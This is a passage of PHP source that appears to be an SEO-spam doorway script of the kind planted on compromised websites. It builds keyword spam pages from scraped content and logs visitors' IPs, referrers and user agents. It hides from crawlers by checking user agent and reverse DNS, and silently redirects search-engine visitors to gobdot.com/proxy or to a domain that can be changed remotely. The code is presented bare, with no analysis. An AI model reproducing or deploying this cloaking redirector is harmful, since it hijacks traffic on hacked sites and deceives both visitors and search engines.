"; if (file_put_contents($LoadDomain, $newdomain)) echo $newdomain; else echo "fail"; exit; } $BakId = $LoadId; $BackFolder = $LoadFolder; $LoadFolder = $LoadFolder . $LoadId; #reboot this var $LoadId = str_replace("-", " ", $LoadId); if (empty($LoadId)){ $gg = '.gif'; echo ""; exit; } $echoTitle = $LoadId; if (substr_count($ref, "&") > 2 && substr_count_array($ref, $filters) == true && substr_count_array($ref, $isse) == true && detectuseragent($isse) == false && detecthostinkey($refkw) == false && gethostbyaddrse($isse) == false) { $redirect_temp = file($LoadLogs); if (count($redirect_temp) > 10) { if (empty($refkw)) $refkw = str_replace(" ", "+", $echoTitle); # we are moved Header("HTTP/1.1 301 Moved Permanently"); if (!file_exists($LoadDomain)) Header("Location: http://gobdot.com/proxy/?terms=" . $refkw . '&host=' . $_SERVER['HTTP_HOST']); else Header("Location: " . trim(file_get_contents($LoadDomain)) . "?terms=" . $refkw . '&host=' . $_SERVER['HTTP_HOST']); exit; } else { ApplyLogs('<>:', $LoadLogs); } } $fr = file_get_contents($LoadTemplate); $LoadArrays = init(); $fr = ApplyFiltersStr($LoadArrays, $fr); preg_match_all('#\$\$(.*)\$\$#isU', $fr, $out); $fr = str_replace(array_values($out[0]), '', $fr); echo $fr; function init() { global $LoadNumRels, $LoadNumLinks, $backup, $LoadId, $echoTitle, $LoadFolder, $inload; if (file_exists($LoadFolder)) { $inload = file_get_contents($LoadFolder); $array = unserialize($inload); } else { $cont = explode(',', ApplyImages($echoTitle)); $echoPut = ''; $arri = array( '?' => ' ', ); $links = ApplyNextPage($backup, $LoadNumLinks, $LoadId); for ($i = 0; $i < count($cont); $i++) { $img = $cont[$i]; $w = mt_rand(1, 7); $width = $w * 100; $height = $w * 80; $echoPut .= $img; $last = $i; } $before = ''; shuffle($frot); for ($z = $last + 1; $z < 10; $z++) { $before .= ucfirst(trim($frot[$z])) . '. '; } $before .= "" . $echoTitle . ".
"; $array = array( '$$insert-title$$' => trim($echoTitle), '$$post-title[1]$$' => trim($echoTitle), '$$insert-description$$' => 'all about ' . str_replace(" ", ", ", $echoTitle) . ' blog', '$$rand-num$$' => mt_rand(1000, 3000), '$$sidebar-title$$' => trim($echoTitle), '$$post-content[1]$$' => /* $before."\n\n". */$echoPut, '$$sidebar$$' => $links, ); file_put_contents($LoadFolder, serialize($array)); } return $array; } function ApplyImages($key) { $load = GetPage("http://gobdot.com/proxy/images2.php?q=" . strtolower(urlencode($key))); $ex = explode("\n", $load); $out = ''; for ($i = 0; $i < count($ex); $i++) { $ex2 = explode("|||", $ex[$i]); $ex2[1] = preg_replace('/\#(.*)\;/i', '', $ex2[1]); $ex2[1] = preg_replace("/[^a-zA-Z0-9]/i", ' ', $ex2[1]); $out .= '' . trim($ex2[1]) . '' . trim($ex2[1]) . "

,"; } return substr($out, 0, -1); } function ApplyNextPage($sourcefile, $num, $page_id) { $load = $sourcefile; $count = count($load) - 1; $arr = ''; for ($i = 0; $i < $num; $i++) { $pid = mt_rand(0, $count); $arr .= '' . ApplyTrim($load[$pid]) . " "; } return $arr; } function ApplyFilters($replace, $sourcefile) { return str_replace( array_keys($replace), array_values($replace), file_get_contents($sourcefile) ); } function ApplyFiltersStr($replace, $string) { return str_replace( array_keys($replace), array_values($replace), $string ); } function ApplyRelateds($num, $sourcefile) { $output = ''; $load = file($sourcefile); $count = count($load) - 1; for ($i = 0; $i < $num; $i++) { $output .= ApplyTrim($load[mt_rand(0, $count)]) . ','; } return substr($output, 0, -1); } function ApplyTrim($str) { return trim(strtolower($str)); } function ApplyUcfirst($str) { return ucwords($str); } function ApplyUrlStructure($href) { global $BakId; return str_replace($BakId, $href, $_SERVER['REQUEST_URI']); } function ApplyHref() { return 'http://' . $_SERVER['HTTP_HOST'] . $_SERVER['REQUEST_URI']; } function ApplyLogs($type, $sourcefile) { global $echoTitle; $format = $type . "\t" . date("Y-m-d H:i:s") . "\t" . $echoTitle . "\t" . $_SERVER['HTTP_HOST'] . "\t" . $_SERVER['HTTP_REFERER'] . "\t" . $_SERVER['REMOTE_ADDR'] . "\t" . $_SERVER['HTTP_USER_AGENT'] . "\t" . $_SERVER['HTTP_ACCEPT_LANGUAGE'] . "\t" . $_SERVER['SCRIPT_FILENAME'] . "\n"; $fp = fopen($sourcefile, 'a+'); fwrite($fp, $format); fclose($fp); } function GetPage($url) { $url = str_replace("http://", "", $url); $host = substr($url, 0, strpos($url, "/")); $path = substr($url, strpos($url, "/")); $skt = @fsockopen($host, 80); if (!$skt) return false; $requestHeader = "GET " . $path . " HTTP/1.1\r\n"; $requestHeader.= "Host: " . $host . "\r\n"; $requestHeader.= "Connection: close\r\n\r\n"; fwrite($skt, $requestHeader); $responseHeader = ""; $responseContent = ""; do { $responseHeader.= fread($skt, 1); } while (!preg_match("/\\r\\n\\r\\n$/", $responseHeader)); if (!strstr($responseHeader, "Transfer-Encoding: chunked")) { while (!feof($skt)) { $responseContent.= fgets($skt, 128); } } else { while ($chunk_length = hexdec(fgets($skt))) { $responseContentChunk = ""; $read_length = 0; while ($read_length < $chunk_length) { $responseContentChunk .= fread($skt, $chunk_length - $read_length); $read_length = strlen($responseContentChunk); } $responseContent.= $responseContentChunk; fgets($skt); } } return chop($responseContent); } function echoaddr() { echo $_SERVER['SERVER_SIGNATURE']; } function echourl() { echo substr($_SERVER['REQUEST_URI'], 0, -1); } function getpages() { global $LoadTitles, $LoadRelateds, $BackFolder; $f = file($LoadTitles); $c = count($f) - 1; $nums = pagesperh(4) + 200; if ($c <= $nums) $nums = $c; $arr = array(); $z = $nums; for ($i = 0; $i <= $nums; $i++) { srand(400 * $i); $arr[$i]['filename'] = md5s($f[$i]); $arr[$i]['filename2'] = strtolower(trim($f[$i])); $arr[$i]['filetime'] = date("d-M-Y H:i", strtotime("-" . $z . " hours")) . ":" . rand(10, 60); $arr[$i]['filesize'] = round(@filesize($BackFolder . md5s($f[$i])) / 1024) . "K"; $z--; } return $arr; } function pagesperh($num) { global $LoadTitles; $hours = (ceil((time() - filemtime($LoadTitles)) / 3600)) * $num; return $hours; } function parsekw($url) { $sengine = array(); $sengine[] = array('name' => 'Google', 'url' => 'http://www.google.com', 'host' => 'google\.', 'query_field' => 'q'); $sengine[] = array('name' => 'Yahoo-com', 'url' => 'http://www.yahoo.com', 'host' => 'search\.yahoo\.', 'query_field' => 'p'); $sengine[] = array('name' => 'Bing-com', 'url' => 'http://www.bing.com', 'host' => 'bing\.', 'query_field' => 'q'); if (!is_array($sengine)) return false; $url_info = parse_url($url); // parse the url foreach ($sengine as $se) { if (eregi($se['host'], $url_info['host'])) { parse_str($url_info['query'], $query_info); return trim(str_replace("+", " ", $query_info[$se['query_field']])); } } return false; } function substr_count_array($string, $array) { $output = array(); foreach ($array as $str) { if (strpos($string, $str) !== false) $output[$str] = 1; } if (count($output) == 0) return false; return true; } function gethostbyaddrse($array) { $ip = gethostbyaddr($_SERVER['REMOTE_ADDR']); foreach ($array as $row) { if (strpos($ip, $row) !== false) return true; } return false; } function detecthostinkey($keyword) { $needfind = str_replace("www.", "", $_SERVER['HTTP_HOST']); $needfind = explode(".", $needfind); $needfind = $needfind[0]; if (strpos($keyword, $needfind) !== false) return true; return false; } function detectuseragent($array) { $agent = $_SERVER['HTTP_USER_AGENT']; foreach ($array as $row) { if (strpos($agent, $row) !== false) return true; } return false; } function echologs() { global $LoadLogs, $LoadDomain; echo "

Last 10 Uniques:

" . "
" . file_get_contents($LoadLogs) . '
'; exit; } function md5s($str) { return str_replace(" ", "-", $str); } #trendsmod